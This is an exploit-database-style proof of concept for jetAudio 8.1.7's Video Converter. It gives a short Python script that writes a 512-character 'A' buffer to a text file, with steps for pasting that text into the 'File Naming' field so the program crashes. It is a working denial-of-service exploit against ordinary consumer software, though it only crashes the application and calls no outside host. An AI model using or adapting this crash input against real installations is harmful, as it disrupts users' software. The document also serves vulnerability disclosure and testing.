Convert Video jetAudio 8.1.7 - Denial of Service (PoC)

# -*- coding: utf-8 -*-
# Exploit Title: Convert Video jetAudio 8.1.7 - Denial of Service (PoC)
# Date: 08/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.jetaudio.com/
# Software Link http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-d890330ec672/jetAudio/JAD8107_BASIC.exe
# Version: 8.1.7 
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "ConvertVideo.py", it will create a new file "ConvertVideo.txt"
# 2.- Copy the text from the generated ConvertVideo.txt file to clipboard
# 3.- Open JetVidCnv.exe or Video Converter
# 4.- Click on the 'Add Files...' button and select a video file
# 5.- Paste clipboard in in the field "File Naming"
# 6.- Click on the 'Preview' button
# 7.- Crashed

buffer = "\x41" * 512
f = open ("ConvertVideo.txt", "w")
f.write(buffer)
f.close()